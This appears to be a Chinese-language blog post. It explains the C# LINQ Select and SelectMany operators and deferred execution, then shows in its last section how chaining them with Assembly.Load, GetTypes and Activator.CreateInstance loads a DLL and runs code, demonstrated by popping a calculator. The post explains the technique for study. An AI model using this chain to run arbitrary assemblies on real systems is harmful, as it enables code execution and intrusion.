0x01 Select
Select 又称投影操作符,定义如下
public static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector)
IEnumerable<TSource>是原始数据集合,Func<TSource, TResult>代表从源序列的每个元素到目标序列元素的转换值,Select方法的返回类型是 IEnumerable<TResult>,表示一个新的序列,常用于对序列中的每个元素执行转换操作生成一个新的序列,比如从对象中选择特定的属性或进行计算等,如下demo
var numbers = new List<int> { 1, 2, 3, 4, 5 };
var squares = numbers.Select(num => num * num);
// 输出结果: 1 4 9 16 25
0x02 SelectMany
SelectMany操作符提供了将多个序列组合起来的功能,相当于数据库中的多表连接查询,它将每个对象的结果合并成单个序列
var students = new List<Student>
{
new Student { Name = "John", Courses = new List<string> { "Math", "Science" } },
new Student { Name = "Alice", Courses = new List<string> { "History", "English" } }
};
var allCourses = students.SelectMany(student => student.Courses);
// 输出结果: Math Science History English
需要说明的是Select和SelectMany操作符都属于 LINQ 的延迟加载,延迟加载是指查询操作在实际需要数据时才会执行,而不是立即执行,好处在于可以节省与数据库交互带来的计算资源损耗,它们只会创建一个查询表达式,而不会立即执行查询。在某些场景下,如果需要确保立即加载数据,可以使用像 ToList() 或 ToArray() 等方法来强制执行查询并将结果加载到内存中。
0x03 LINQ
LINQ-SelectMany操作符用于合并两个序列后产生一个新的序列结果,通过LINQ这个能力可以联合Aseembly.Load和Aseembly::GetTypes,再借用LINQ-Select操作符投影Activator.CreateInstance反射创建一个Aseembly对象,这样就可以实现命令执行
byte[] assemblyBytes = File.ReadAllBytes(Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "net-calc.dll"));
List<byte[]> data = new List<byte[]>();
data.Add(this.assemblyBytes);
var e1 = data.Select(Assembly.Load);
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);
var e3 = e2.Select(Activator.CreateInstance).ToList();
开放委托通过Delegate.CreateDelegate方法创建具有返回值的Func<Assembly, IEnumerable<Type>>委托,运行时通过typeof(Assembly).GetMethod("GetTypes"))反射创建实例成员GetTypes将其附加为程序集参数,这样便可获取Assembly程序集的类型,因为LINQ有延迟加载的机制,咱们需要它立即执行所以追加ToList() 就会立刻执行弹出计算器,如下图